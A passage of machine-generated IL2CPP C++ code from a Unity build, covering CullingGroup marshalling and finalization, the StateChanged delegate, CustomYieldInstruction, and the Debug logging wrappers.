FINALLY_000c; } FINALLY_000c: { // begin finally (depth: 1) Object_Finalize_m4087144328(__this, /*hidden argument*/NULL); IL2CPP_END_FINALLY(12) } // end finally (depth: 1) IL2CPP_CLEANUP(12) { IL2CPP_JUMP_TBL(0x13, IL_0013) IL2CPP_RETHROW_IF_UNHANDLED(Exception_t1927440687 *) } IL_0013: { return; } } // Conversion methods for marshalling of: UnityEngine.CullingGroup extern "C" void CullingGroup_t1091689465_marshal_pinvoke(const CullingGroup_t1091689465& unmarshaled, CullingGroup_t1091689465_marshaled_pinvoke& marshaled) { marshaled.___m_Ptr_0 = reinterpret_cast((unmarshaled.get_m_Ptr_0()).get_m_value_0()); marshaled.___m_OnStateChanged_1 = il2cpp_codegen_marshal_delegate(reinterpret_cast(unmarshaled.get_m_OnStateChanged_1())); } extern "C" void CullingGroup_t1091689465_marshal_pinvoke_back(const CullingGroup_t1091689465_marshaled_pinvoke& marshaled, CullingGroup_t1091689465& unmarshaled) { static bool s_Il2CppMethodInitialized; if (!s_Il2CppMethodInitialized) { il2cpp_codegen_initialize_method (CullingGroup_t1091689465_pinvoke_FromNativeMethodDefinition_MetadataUsageId); s_Il2CppMethodInitialized = true; } IntPtr_t unmarshaled_m_Ptr_temp_0; memset(&unmarshaled_m_Ptr_temp_0, 0, sizeof(unmarshaled_m_Ptr_temp_0)); IntPtr_t unmarshaled_m_Ptr_temp_0_temp; unmarshaled_m_Ptr_temp_0_temp.set_m_value_0(reinterpret_cast((intptr_t)(marshaled.___m_Ptr_0))); unmarshaled_m_Ptr_temp_0 = unmarshaled_m_Ptr_temp_0_temp; unmarshaled.set_m_Ptr_0(unmarshaled_m_Ptr_temp_0); unmarshaled.set_m_OnStateChanged_1(il2cpp_codegen_marshal_function_ptr_to_delegate(marshaled.___m_OnStateChanged_1, StateChanged_t2480912210_il2cpp_TypeInfo_var)); } // Conversion method for clean up from marshalling of: UnityEngine.CullingGroup extern "C" void CullingGroup_t1091689465_marshal_pinvoke_cleanup(CullingGroup_t1091689465_marshaled_pinvoke& marshaled) { } // Conversion methods for marshalling of: UnityEngine.CullingGroup extern "C" void CullingGroup_t1091689465_marshal_com(const CullingGroup_t1091689465& unmarshaled, CullingGroup_t1091689465_marshaled_com& marshaled) { marshaled.___m_Ptr_0 = reinterpret_cast((unmarshaled.get_m_Ptr_0()).get_m_value_0()); marshaled.___m_OnStateChanged_1 = il2cpp_codegen_marshal_delegate(reinterpret_cast(unmarshaled.get_m_OnStateChanged_1())); } extern "C" void CullingGroup_t1091689465_marshal_com_back(const CullingGroup_t1091689465_marshaled_com& marshaled, CullingGroup_t1091689465& unmarshaled) { static bool s_Il2CppMethodInitialized; if (!s_Il2CppMethodInitialized) { il2cpp_codegen_initialize_method (CullingGroup_t1091689465_com_FromNativeMethodDefinition_MetadataUsageId); s_Il2CppMethodInitialized = true; } IntPtr_t unmarshaled_m_Ptr_temp_0; memset(&unmarshaled_m_Ptr_temp_0, 0, sizeof(unmarshaled_m_Ptr_temp_0)); IntPtr_t unmarshaled_m_Ptr_temp_0_temp; unmarshaled_m_Ptr_temp_0_temp.set_m_value_0(reinterpret_cast((intptr_t)(marshaled.___m_Ptr_0))); unmarshaled_m_Ptr_temp_0 = unmarshaled_m_Ptr_temp_0_temp; unmarshaled.set_m_Ptr_0(unmarshaled_m_Ptr_temp_0); unmarshaled.set_m_OnStateChanged_1(il2cpp_codegen_marshal_function_ptr_to_delegate(marshaled.___m_OnStateChanged_1, StateChanged_t2480912210_il2cpp_TypeInfo_var)); } // Conversion method for clean up from marshalling of: UnityEngine.CullingGroup extern "C" void CullingGroup_t1091689465_marshal_com_cleanup(CullingGroup_t1091689465_marshaled_com& marshaled) { } // System.Void UnityEngine.CullingGroup::Finalize() extern "C" void CullingGroup_Finalize_m3172731580 (CullingGroup_t1091689465 * __this, const MethodInfo* method) { static bool s_Il2CppMethodInitialized; if (!s_Il2CppMethodInitialized) { il2cpp_codegen_initialize_method (CullingGroup_Finalize_m3172731580_MetadataUsageId); s_Il2CppMethodInitialized = true; } Exception_t1927440687 * __last_unhandled_exception = 0; NO_UNUSED_WARNING (__last_unhandled_exception); Exception_t1927440687 * __exception_local = 0; NO_UNUSED_WARNING (__exception_local); int32_t __leave_target = 0; NO_UNUSED_WARNING (__leave_target); { } IL_0001: try { // begin try (depth: 1) { IntPtr_t L_0 = __this->get_m_Ptr_0(); IntPtr_t L_1 = ((IntPtr_t_StaticFields*)IntPtr_t_il2cpp_TypeInfo_var->static_fields)->get_Zero_1(); bool L_2 = IntPtr_op_Inequality_m3044532593(NULL /*static, unused*/, L_0, L_1, /*hidden argument*/NULL); if (!L_2) { goto IL_001e; } } IL_0016: { CullingGroup_FinalizerFailure_m3675513936(__this, /*hidden argument*/NULL); } IL_001e: { IL2CPP_LEAVE(0x2A, FINALLY_0023); } } // end try (depth: 1) catch(Il2CppExceptionWrapper& e) { __last_unhandled_exception = (Exception_t1927440687 *)e.ex; goto FINALLY_0023; } FINALLY_0023: { // begin finally (depth: 1) Object_Finalize_m4087144328(__this, /*hidden argument*/NULL); IL2CPP_END_FINALLY(35) } // end finally (depth: 1) IL2CPP_CLEANUP(35) { IL2CPP_JUMP_TBL(0x2A, IL_002a) IL2CPP_RETHROW_IF_UNHANDLED(Exception_t1927440687 *) } IL_002a: { return; } } // System.Void UnityEngine.CullingGroup::Dispose() extern "C" void CullingGroup_Dispose_m2629191995 (CullingGroup_t1091689465 * __this, const MethodInfo* method) { typedef void (*CullingGroup_Dispose_m2629191995_ftn) (CullingGroup_t1091689465 *); static CullingGroup_Dispose_m2629191995_ftn _il2cpp_icall_func; if (!_il2cpp_icall_func) _il2cpp_icall_func = (CullingGroup_Dispose_m2629191995_ftn)il2cpp_codegen_resolve_icall ("UnityEngine.CullingGroup::Dispose()"); _il2cpp_icall_func(__this); } // System.Void UnityEngine.CullingGroup::SendEvents(UnityEngine.CullingGroup,System.IntPtr,System.Int32) extern "C" void CullingGroup_SendEvents_m1292564468 (Il2CppObject * __this /* static, unused */, CullingGroup_t1091689465 * ___cullingGroup0, IntPtr_t ___eventsPtr1, int32_t ___count2, const MethodInfo* method) { static bool s_Il2CppMethodInitialized; if (!s_Il2CppMethodInitialized) { il2cpp_codegen_initialize_method (CullingGroup_SendEvents_m1292564468_MetadataUsageId); s_Il2CppMethodInitialized = true; } CullingGroupEvent_t1057617917 * V_0 = NULL; int32_t V_1 = 0; { void* L_0 = IntPtr_ToPointer_m1888290092((&___eventsPtr1), /*hidden argument*/NULL); V_0 = (CullingGroupEvent_t1057617917 *)L_0; CullingGroup_t1091689465 * L_1 = ___cullingGroup0; NullCheck(L_1); StateChanged_t2480912210 * L_2 = L_1->get_m_OnStateChanged_1(); if (L_2) { goto IL_0019; } } { goto IL_0046; } IL_0019: { V_1 = 0; goto IL_003f; } IL_0020: { CullingGroup_t1091689465 * L_3 = ___cullingGroup0; NullCheck(L_3); StateChanged_t2480912210 * L_4 = L_3->get_m_OnStateChanged_1(); CullingGroupEvent_t1057617917 * L_5 = V_0; int32_t L_6 = V_1; uint32_t L_7 = il2cpp_codegen_sizeof(CullingGroupEvent_t1057617917_il2cpp_TypeInfo_var); NullCheck(L_4); StateChanged_Invoke_m2308261448(L_4, (*(CullingGroupEvent_t1057617917 *)((CullingGroupEvent_t1057617917 *)((intptr_t)L_5+(intptr_t)((intptr_t)((intptr_t)(((intptr_t)L_6))*(int32_t)L_7))))), /*hidden argument*/NULL); int32_t L_8 = V_1; V_1 = ((int32_t)((int32_t)L_8+(int32_t)1)); } IL_003f: { int32_t L_9 = V_1; int32_t L_10 = ___count2; if ((((int32_t)L_9) < ((int32_t)L_10))) { goto IL_0020; } } IL_0046: { return; } } // System.Void UnityEngine.CullingGroup::FinalizerFailure() extern "C" void CullingGroup_FinalizerFailure_m3675513936 (CullingGroup_t1091689465 * __this, const MethodInfo* method) { typedef void (*CullingGroup_FinalizerFailure_m3675513936_ftn) (CullingGroup_t1091689465 *); static CullingGroup_FinalizerFailure_m3675513936_ftn _il2cpp_icall_func; if (!_il2cpp_icall_func) _il2cpp_icall_func = (CullingGroup_FinalizerFailure_m3675513936_ftn)il2cpp_codegen_resolve_icall ("UnityEngine.CullingGroup::FinalizerFailure()"); _il2cpp_icall_func(__this); } extern "C" void DelegatePInvokeWrapper_StateChanged_t2480912210 (StateChanged_t2480912210 * __this, CullingGroupEvent_t1057617917 ___sphere0, const MethodInfo* method) { typedef void (STDCALL *PInvokeFunc)(CullingGroupEvent_t1057617917 ); PInvokeFunc il2cppPInvokeFunc = reinterpret_cast(((Il2CppDelegate*)__this)->method->methodPointer); // Native function invocation il2cppPInvokeFunc(___sphere0); } // System.Void UnityEngine.CullingGroup/StateChanged::.ctor(System.Object,System.IntPtr) extern "C" void StateChanged__ctor_m2322131884 (StateChanged_t2480912210 * __this, Il2CppObject * ___object0, IntPtr_t ___method1, const MethodInfo* method) { __this->set_method_ptr_0((Il2CppMethodPointer)((MethodInfo*)___method1.get_m_value_0())->methodPointer); __this->set_method_3(___method1); __this->set_m_target_2(___object0); } // System.Void UnityEngine.CullingGroup/StateChanged::Invoke(UnityEngine.CullingGroupEvent) extern "C" void StateChanged_Invoke_m2308261448 (StateChanged_t2480912210 * __this, CullingGroupEvent_t1057617917 ___sphere0, const MethodInfo* method) { if(__this->get_prev_9() != NULL) { StateChanged_Invoke_m2308261448((StateChanged_t2480912210 *)__this->get_prev_9(),___sphere0, method); } il2cpp_codegen_raise_execution_engine_exception_if_method_is_not_found((MethodInfo*)(__this->get_method_3().get_m_value_0())); bool ___methodIsStatic = MethodIsStatic((MethodInfo*)(__this->get_method_3().get_m_value_0())); if (__this->get_m_target_2() != NULL && ___methodIsStatic) { typedef void (*FunctionPointerType) (Il2CppObject *, void* __this, CullingGroupEvent_t1057617917 ___sphere0, const MethodInfo* method); ((FunctionPointerType)__this->get_method_ptr_0())(NULL,__this->get_m_target_2(),___sphere0,(MethodInfo*)(__this->get_method_3().get_m_value_0())); } else { typedef void (*FunctionPointerType) (void* __this, CullingGroupEvent_t1057617917 ___sphere0, const MethodInfo* method); ((FunctionPointerType)__this->get_method_ptr_0())(__this->get_m_target_2(),___sphere0,(MethodInfo*)(__this->get_method_3().get_m_value_0())); } } // System.IAsyncResult UnityEngine.CullingGroup/StateChanged::BeginInvoke(UnityEngine.CullingGroupEvent,System.AsyncCallback,System.Object) extern "C" Il2CppObject * StateChanged_BeginInvoke_m1716538087 (StateChanged_t2480912210 * __this, CullingGroupEvent_t1057617917 ___sphere0, AsyncCallback_t163412349 * ___callback1, Il2CppObject * ___object2, const MethodInfo* method) { static bool s_Il2CppMethodInitialized; if (!s_Il2CppMethodInitialized) { il2cpp_codegen_initialize_method (StateChanged_BeginInvoke_m1716538087_MetadataUsageId); s_Il2CppMethodInitialized = true; } void *__d_args[2] = {0}; __d_args[0] = Box(CullingGroupEvent_t1057617917_il2cpp_TypeInfo_var, &___sphere0); return (Il2CppObject *)il2cpp_codegen_delegate_begin_invoke((Il2CppDelegate*)__this, __d_args, (Il2CppDelegate*)___callback1, (Il2CppObject*)___object2); } // System.Void UnityEngine.CullingGroup/StateChanged::EndInvoke(System.IAsyncResult) extern "C" void StateChanged_EndInvoke_m2186648314 (StateChanged_t2480912210 * __this, Il2CppObject * ___result0, const MethodInfo* method) { il2cpp_codegen_delegate_end_invoke((Il2CppAsyncResult*) ___result0, 0); } // UnityEngine.CursorLockMode UnityEngine.Cursor::get_lockState() extern "C" int32_t Cursor_get_lockState_m90193718 (Il2CppObject * __this /* static, unused */, const MethodInfo* method) { typedef int32_t (*Cursor_get_lockState_m90193718_ftn) (); static Cursor_get_lockState_m90193718_ftn _il2cpp_icall_func; if (!_il2cpp_icall_func) _il2cpp_icall_func = (Cursor_get_lockState_m90193718_ftn)il2cpp_codegen_resolve_icall ("UnityEngine.Cursor::get_lockState()"); return _il2cpp_icall_func(); } // System.Void UnityEngine.CustomYieldInstruction::.ctor() extern "C" void CustomYieldInstruction__ctor_m1721050687 (CustomYieldInstruction_t1786092740 * __this, const MethodInfo* method) { { Object__ctor_m2551263788(__this, /*hidden argument*/NULL); return; } } // System.Object UnityEngine.CustomYieldInstruction::get_Current() extern "C" Il2CppObject * CustomYieldInstruction_get_Current_m1743233962 (CustomYieldInstruction_t1786092740 * __this, const MethodInfo* method) { Il2CppObject * V_0 = NULL; { V_0 = NULL; goto IL_0008; } IL_0008: { Il2CppObject * L_0 = V_0; return L_0; } } // System.Boolean UnityEngine.CustomYieldInstruction::MoveNext() extern "C" bool CustomYieldInstruction_MoveNext_m486982469 (CustomYieldInstruction_t1786092740 * __this, const MethodInfo* method) { bool V_0 = false; { bool L_0 = VirtFuncInvoker0< bool >::Invoke(7 /* System.Boolean UnityEngine.CustomYieldInstruction::get_keepWaiting() */, __this); V_0 = L_0; goto IL_000d; } IL_000d: { bool L_1 = V_0; return L_1; } } // System.Void UnityEngine.CustomYieldInstruction::Reset() extern "C" void CustomYieldInstruction_Reset_m3409422382 (CustomYieldInstruction_t1786092740 * __this, const MethodInfo* method) { { return; } } // UnityEngine.ILogger UnityEngine.Debug::get_logger() extern "C" Il2CppObject * Debug_get_logger_m4173808038 (Il2CppObject * __this /* static, unused */, const MethodInfo* method) { static bool s_Il2CppMethodInitialized; if (!s_Il2CppMethodInitialized) { il2cpp_codegen_initialize_method (Debug_get_logger_m4173808038_MetadataUsageId); s_Il2CppMethodInitialized = true; } Il2CppObject * V_0 = NULL; { IL2CPP_RUNTIME_CLASS_INIT(Debug_t1368543263_il2cpp_TypeInfo_var); Il2CppObject * L_0 = ((Debug_t1368543263_StaticFields*)Debug_t1368543263_il2cpp_TypeInfo_var->static_fields)->get_s_Logger_0(); V_0 = L_0; goto IL_000c; } IL_000c: { Il2CppObject * L_1 = V_0; return L_1; } } // System.Void UnityEngine.Debug::Log(System.Object) extern "C" void Debug_Log_m920475918 (Il2CppObject * __this /* static, unused */, Il2CppObject * ___message0, const MethodInfo* method) { static bool s_Il2CppMethodInitialized; if (!s_Il2CppMethodInitialized) { il2cpp_codegen_initialize_method (Debug_Log_m920475918_MetadataUsageId); s_Il2CppMethodInitialized = true; } { IL2CPP_RUNTIME_CLASS_INIT(Debug_t1368543263_il2cpp_TypeInfo_var); Il2CppObject * L_0 = Debug_get_logger_m4173808038(NULL /*static, unused*/, /*hidden argument*/NULL); Il2CppObject * L_1 = ___message0; NullCheck(L_0); InterfaceActionInvoker2< int32_t, Il2CppObject * >::Invoke(0 /* System.Void UnityEngine.ILogger::Log(UnityEngine.LogType,System.Object) */, ILogger_t1425954571_il2cpp_TypeInfo_var, L_0, 3, L_1); return; } } // System.Void UnityEngine.Debug::LogFormat(System.String,System.Object[]) extern "C" void Debug_LogFormat_m3816524933 (Il2CppObject * __this /* static, unused */, String_t* ___format0, ObjectU5BU5D_t3614634134* ___args1, const MethodInfo* method) { static bool s_Il2CppMethodInitialized; if (!s_Il2CppMethodInitialized) { il2cpp_codegen_initialize_method (Debug_LogFormat_m3816524933_MetadataUsageId); s_Il2CppMethodInitialized = true; } { IL2CPP_RUNTIME_CLASS_INIT(Debug_t1368543263_il2cpp_TypeInfo_var); Il2CppObject * L_0 = Debug_get_logger_m4173808038(NULL /*static, unused*/, /*hidden argument*/NULL); String_t* L_1 = ___format0; ObjectU5BU5D_t3614634134* L_2 = ___args1; NullCheck(L_0); InterfaceActionInvoker3< int32_t, String_t*, ObjectU5BU5D_t3614634134* >::Invoke(2 /* System.Void UnityEngine.ILogger::LogFormat(UnityEngine.LogType,System.String,System.Object[]) */, ILogger_t1425954571_il2cpp_TypeInfo_var, L_0, 3, L_1, L_2); return; } } // System.Void UnityEngine.Debug::LogError(System.Object) extern "C" void Debug_LogError_m3715728798 (Il2CppObject * __this /* static, unused */, Il2CppObject * ___message0, const MethodInfo* method) { static bool s_Il2CppMethodInitialized; if (!s_Il2CppMethodInitialized) { il2cpp_codegen_initialize_method (Debug_LogError_m3715728798_MetadataUsageId); s_Il2CppMethodInitialized = true; } { IL2CPP_RUNTIME_CLASS_INIT(Debug_t1368543263_il2cpp_TypeInfo_var); Il2CppObject * L_0 = Debug_get_logger_m4173808038(NULL /*static, unused*/, /*hidden argument*/NULL); Il2CppObject * L_1 = ___message0; NullCheck(L_0); InterfaceActionInvoker2< int32_t, Il2CppObject * >::Invoke(0 /* System.Void UnityEngine.ILogger::Log(UnityEngine.LogType,System.Object) */, ILogger_t1425954571_il2cpp_TypeInfo_var, L_0, 0, L_1); return; } } // System.Void UnityEngine.Debug::LogError(System.Object,UnityEngine.Object) extern "C" void Debug_LogError_m865553560 (Il2CppObject * __this /* static, unused */, Il2CppObject * ___message0, Object_t1021602117 * ___context1, const MethodInfo* method) { static bool s_Il2CppMethodInitialized; if (!s_Il2CppMethodInitialized) { il2cpp_codegen_initialize_method (Debug_LogError_m865553560_MetadataUsageId); s_Il2CppMethodInitialized = true; } { IL2CPP_RUNTIME_CLASS_INIT(Debug_t1368543263_il2cpp_TypeInfo_var); Il2CppObject * L_0 = Debug_get_logger_m4173808038(NULL /*static, unused*/, /*hidden argument*/NULL); Il2CppObject * L_1 = ___message0; Object_t1021602117 * L_2 = ___context1; NullCheck(L_0); InterfaceActionInvoker3< int32_t, Il2CppObject *, Object_t1021602117 * >::Invoke(1 /* System.Void UnityEngine.ILogger::Log(UnityEngine.LogType,System.Object,UnityEngine.Object) */, ILogger_t1425954571_il2cpp_TypeInfo_var, L_0, 0, L_1, L_2); return; } } // System.Void UnityEngine.Debug::LogErrorFormat(System.String,System.Object[]) extern "C" void Debug_LogErrorFormat_m583065465 (Il2CppObject * __this /* static, unused */, String_t* ___format0, ObjectU5BU5D_t3614634134* ___args1, const MethodInfo* method) { static bool s_Il2CppMethodInitialized; if (!s_Il2CppMethodInitialized) { il2cpp_codegen_initialize_method (Debug_LogErrorFormat_m583065465_MetadataUsageId); s_Il2CppMethodInitialized = true; } { IL2CPP_RUNTIME_CLASS_INIT(Debug_t1368543263_il2cpp_TypeInfo_var); Il2CppObject * L_0 = Debug_get_logger_m4173808038(NULL /*static, unused*/, /*hidden argument*/NULL); String_t* L_1 = ___format0; ObjectU5BU5D_t3614634134* L_2 = ___args1; NullCheck(L_0); InterfaceActionInvoker3< int32_t, String_t*, ObjectU5BU5D_t3614634134* >::Invoke(2 /* System.Void UnityEngine.ILogger::LogFormat(UnityEngine.LogType,System.String,System.Object[]) */, ILogger_t1425954571_il2cpp_TypeInfo_var, L_0, 0, L_1, L_2); return; } } // System.Void UnityEngine.Debug::LogErrorFormat(UnityEngine.Object,System.String,System.Object[]) extern "C" void Debug_LogErrorFormat_m60495267 (Il2CppObject * __this /* static, unused */, Object_t1021602117 * ___context0, String_t* ___format1, ObjectU5BU5D_t3614634134* ___args2, const MethodInfo* method) { static bool s_Il2CppMethodInitialized; if (!s_Il2CppMethodInitialized) { il2cpp_codegen_initialize_method (Debug_LogErrorFormat_m60495267_MetadataUsageId); s_Il2CppMethodInitialized = true; } { IL2CPP_RUNTIME_CLASS_INIT(Debug_t1368543263_il2cpp_TypeInfo_var); Il2CppObject * L_0 = Debug_get_logger_m4173808038(NULL /*static, unused*/, /*hidden argument*/NULL); Object_t1021602117 * L_1 = ___context0; String_t* L_2 = ___format1; ObjectU5BU5D_t3614634134* L_3 = ___args2; NullCheck(L_0); InterfaceActionInvoker4< int32_t, Object_t1021602117 *, String_t*, ObjectU5BU5D_t3614634134* >::Invoke(0 /* System.Void UnityEngine.ILogHandler::LogFormat(UnityEngine.LogType,UnityEngine.Object,System.String,System.Object[]) */, ILogHandler_t264057413_il2cpp_TypeInfo_var, L_0, 0, L_1, L_2, L_3); return; } } // System.Void UnityEngine.Debug::LogException(System.Exception) extern "C" void Debug_LogException_m1861430175 (Il2CppObject * __this /* static, unused */, Exception_t1927440687 * ___exception0, const MethodInfo* method) { static bool s_Il2CppMethodInitialized; if (!s_Il2CppMethodInitialized) { il2cpp_codegen_initialize_method (Debug_LogException_m1861430175_MetadataUsageId); s_Il2CppMethodInitialized = true; } { IL2CPP_RUNTIME_CLASS_INIT(Debug_t1368543263_il2cpp_TypeInfo_var); Il2CppObject * L_0 = Debug_get_logger_m4173808038(NULL /*static, unused*/, /*hidden argument*/NULL); Exception_t1927440687 * L_1 = ___exception0; NullCheck(L_0); InterfaceActionInvoker2< Exception_t1927440687 *, Object_t1021602117 * >::Invoke(1 /* System.Void UnityEngine.ILogHandler::LogException(System.Exception,UnityEngine.Object) */, ILogHandler_t264057413_il2cpp_TypeInfo_var, L_0, L_1, (Object_t1021602117 *)NULL); return; } } // System.Void UnityEngine.Debug::LogException(System.Exception,UnityEngine.Object) extern "C" void Debug_LogException_m3078170301 (Il2CppObject * __this /* static, unused */, Exception_t1927440687 * ___exception0, Object_t1021602117 * ___context1, const MethodInfo* method) { static bool s_Il2CppMethodInitialized; if (!s_Il2CppMethodInitialized) { il2cpp_codegen_initialize_method (Debug_LogException_m3078170301_MetadataUsageId); s_Il2CppMethodInitialized = true; } { IL2CPP_RUNTIME_CLASS_INIT(Debug_t1368543263_il2cpp_TypeInfo_var); Il2CppObject * L_0 = Debug_get_logger_m4173808038(NULL /*static, unused*/, /*hidden argument*/NULL); Exception_t1927440687 * L_1 = ___exception0; Object_t1021602117 * L_2 = ___context1; NullCheck(L_0); InterfaceActionInvoker2< Exception_t1927440687 *, Object_t1021602117 * >::Invoke(1 /* System.Void UnityEngine.ILogHandler::LogException(System.Exception,UnityEngine.Object) */, ILogHandler_t264057413_il2cpp_TypeInfo_var, L_0, L_1, L_2); return; } } // System.Void UnityEngine.Debug::LogWarning(System.Object) extern "C" void Debug_LogWarning_m2503577968 (Il2CppObject * __this /* static, unused */, Il2CppObject * ___message0, const MethodInfo* method) { static bool s_Il2CppMethodInitialized; if (!s_Il2CppMethodInitialized) { il2cpp_codegen_initialize_method (Debug_LogWarning_m2503577968_MetadataUsageId); s_Il2CppMethodInitialized = true; } { IL2CPP_RUNTIME_CLASS_INIT(Debug_t1368543263_il2cpp_TypeInfo_var); Il2CppObject * L_0 = Debug_get_logger_m4173808038(NULL /*static, unused*/, /*hidden argument*/NULL); Il2CppObject * L_1 = ___message0; NullCheck(L_0); InterfaceActionInvoker2< int32_t, Il2CppObject * >::Invoke(0 /* System.Void UnityEngine.ILogger::Log(UnityEngine.LogType,System.Object) */, ILogger_t1425954571_il2cpp_TypeInfo_var, L_0, 2, L_1); return; } } // System.Void UnityEngine.Debug::LogWarning(System.Object,UnityEngine.Object) extern "C" void Debug_LogWarning_m1280021602 (Il2CppObject * __this /* static, unused */, Il2CppObject * ___message0, Object_t1021602117 * ___context1, const MethodInfo* method) { static bool s_Il2CppMethodInitialized; if (!s_Il2CppMethodInitialized) { il2cpp_codegen_initialize_method (Debug_LogWarning_m1280021602_MetadataUsageId); s_Il2CppMethodInitialized = true; } { IL2CPP_RUNTIME_CLASS_INIT(Debug_t1368543263_il2cpp_TypeInfo_var); Il2CppObject * L_0 = Debug_get_logger_m4173808038(NULL /*static, unused*/, /*hidden argument*/NULL); Il2CppObject * L_1 = ___message0; Object_t1021602117 * L_2 = ___context1; NullCheck(L_0); InterfaceActionInvoker3< int32_t, Il2CppObject *, Object_t1021602117 * >::Invoke(1 /* System.Void UnityEngine.ILogger::Log(UnityEngine.LogType,System.Object,UnityEngine.Object) */, ILogger_t1425954571_il2cpp_TypeInfo_var, L_0, 2, L_1, L_2); return; } } // System.Void UnityEngine.Debug::LogWarningFormat(System.String,System.Object[]) extern "C" void Debug_LogWarningFormat_m2130157695 (Il2CppObject * __this /* static, unused */, String_t* ___format0, ObjectU5BU5D_t3614634134* ___args1, const MethodInfo* method) { static bool s_Il2CppMethodInitialized; if (!s_Il2CppMethodInitialized) { il2cpp_codegen_initialize_method (Debug_LogWarningFormat_m2130157695_MetadataUsageId); s_Il2CppMethodInitialized = true; } { IL2CPP_RUNTIME_CLASS_INIT(Debug_t1368543263_il2cpp_TypeInfo_var); Il2CppObject * L_0 = Debug_get_logger_m4173808038(NULL /*static, unused*/, /*hidden argument*/NULL); String_t* L_1 = ___format0; ObjectU5BU5D_t3614634134* L_2 = ___args1; NullCheck(L_0); InterfaceActionInvoker3< int32_t, String_t*, ObjectU5BU5D_t3614634134* >::Invoke(2 /* System.Void UnityEngine.ILogger::LogFormat(UnityEngine.LogType,System.String,System.Object[]) */, ILogger_t1425954571_il2cpp_TypeInfo_var, L_0, 2, L_1, L_2); return; } } // System.Void UnityEngine.Debug::LogWarningFormat(UnityEngine.Object,System.String,System.Object[]) extern "C" void Debug_LogWarningFormat_m79553173 (Il2CppObject * __this /* static, unused */, Object_t1021602117 * ___context0, String_t* ___format1, ObjectU5BU5D_t3614634134* ___args2, const MethodInfo* method) { static bool s_Il2CppMethodInitialized; if (!s_Il2CppMethodInitialized) { il2cpp_codegen_initialize_method (Debug_LogWarningFormat_m79553173_MetadataUsageId); s_Il2CppMethodInitialized = true; } { IL2CPP_RUNTIME_CLASS_INIT(Debug_t1368543263_il2cpp_TypeInfo_var); Il2CppObject * L_0 = Debug_get_logger_m4173808038(NULL /*static, unused*/, /*hidden argument*/NULL); Object_t1021602117 * L_1 = ___context0; String_t* L_2 = ___format1; ObjectU5BU5D_t3614634134* L_3 = ___args2; NullCheck(L_0); InterfaceActionInvoker4< int32_t, Object_t1021602117 *, String_t*, ObjectU5BU5D_t3614634134* >::Invoke(0 /* System.Void UnityEngine.ILogHandler::LogFormat(UnityEngine.LogType,UnityEngine.Object,System.String,System.Object[]) */, ILogHandler_t264057413_il2cpp_TypeInfo_var, L_0, 2, L_1, L_2, L_3); return; } } // System.Void UnityEngine.Debug::.cctor() extern "C" void Debug__cctor_m2981642087 (Il2CppObject * __this /* static, unused */, const MethodInfo* method) { static bool s_Il2CppMethodInitialized; if (!s_Il2CppMethodInitialized) { il2cpp_codegen_initialize_method (Debug__cctor_m2981642087_MetadataUsageId); s_Il2CppMethodInitialized = true; } { DebugLogHandler_t865810509 * L_0 = (DebugLogHandler_t865810509 *)il2cpp_codegen_object_new(DebugLogHandler_t865810509_il2cpp_TypeInfo_var); DebugLogHandler__ctor_m3134219506(L_0, /*hidden argument*/NULL); Logger_t3328995178 * L_1 = (Logger_t3328995178 *)il2cpp_codegen_object_new(Logger_t3328995178_il2cpp_TypeInfo_var); Logger__ctor_m3834134587(L_1, L_0, /*hidden argument*/NULL); ((Debug_t1368543263_StaticFields*)Debug_t1368543263_il2cpp_TypeInfo_var->static_fields)->set_s_Logger_0(L_1); return; } } // System.Void UnityEngine.DebugLogHandler::.ctor() extern "C" void DebugLogHandler__ctor_m3134219506 (DebugLogHandler_t865810509 * __this, const MethodInfo* method) { { Object__ctor_m2551263788(__this, /*hidden argument*/NULL); return; } } // System.Void UnityEngine.DebugLogHandler::Internal_Log(UnityEngine.LogType,System.String,UnityEngine.Object) extern "C" void DebugLogHandler_Internal_Log_m3491540823 (Il2CppObject * __this /* static, unused */, int32_t ___level0, String_t* ___msg1, Object_t1021602117 * ___obj2, const MethodInfo* method) { typedef void (*DebugLogHandler_Internal_Log_m3491540823_ftn) (int32_t, String_t*, Object_t1021602117 *); static DebugLogHandler_Internal_Log_m3491540823_ftn _il2cpp_icall_func; if (!_il2cpp_icall_func) _il2cpp_icall_func = (DebugLogHandler_Internal_Log_m3491540823_ftn)il2cpp_codegen_resolve_icall ("UnityEngine.DebugLogHandler::Internal_Log(UnityEngine.LogType,System.String,UnityEngine.Object)"); _il2cpp_icall_func(___level0, ___msg1, ___obj2); } // System.Void UnityEngine.DebugLogHandler::Internal_LogException(System.Exception,UnityEngine.Object) extern "C" void DebugLogHandler_Internal_LogException_m317712981 (Il2CppObject * __this /* static, unused */, Exception_t1927440687 * ___exception0, Object_t1021602117 * ___obj1, const MethodInfo* method) { typedef void (*DebugLogHandler_Internal_LogException_m317712981_ftn) (Exception_t1927440687 *, Object_t1021602117 *); static DebugLogHandler_Internal_LogException_m317712981_ftn _il2cpp_icall_func; if (!_il2cpp_icall_func) _il2cpp_icall_func = (DebugLogHandler_Internal_LogException_m317712981_ftn)il2cpp_codegen_resolve_icall ("UnityEngine.DebugLogHandler::Internal_LogException(System.Exception,UnityEngine.Object)"); _il2cpp_icall_func(___exception0, ___obj1); } // System.Void UnityEngine.DebugLogHandler::LogFormat(UnityEngine.LogType,UnityEngine.Object,System.String,System.Object[]) extern "C" void DebugLogHandler_LogFormat_m177245518 (DebugLogHandler_t865810509 * __this, int32_t ___logType0, Object_t1021602117 * ___context1, String_t* ___format2, ObjectU5BU5D_t3614634134* ___args3, const MethodInfo* method) { static bool s_Il2CppMethodInitialized; if (!s_Il2CppMethodInitialized) { il2cpp_codegen_initialize_method (DebugLogHandler_LogFormat_m177245518_MetadataUsageId); s_Il2CppMethodInitialized = true; } { int32_t L_0 = ___logType0; String_t* L_1 = ___format2; ObjectU5BU5D_t3614634134* L_2 = ___args3; IL2CPP_RUNTIME_CLASS_INIT(String_t_il2cpp_TypeInfo_var); String_t* L_3 = String_Format_m1263743648(NULL /*static, unused*/, L_1, L_2, /*hidden argument*/NULL); Object_t1021602117 * L_4 = ___context1; DebugLogHandler_Internal_Log_m3491540823(NULL /*static, unused*/, L_0, L_3, L_4, /*hidden argument*/NULL); return; } } // System.Void UnityEngine.DebugLogHandler::LogException(System.Exception,UnityEngine.Object) extern "C" void DebugLogHandler_LogException_m769094553 (DebugLogHandler_t865810509 * __this, Exception_t1927440687 * ___exception0, Object_t1021602117 * ___context1, const MethodInfo* method) { { Exception_t1927440687 * L_0 = ___exception0; Object_t1021602117 * L_1 = ___context1; DebugLogHandler_Internal_LogException_m317712981(NULL /*static, unused*/, L_0, L_1, /*hidden argument*/NULL); return; } } // System.Int32 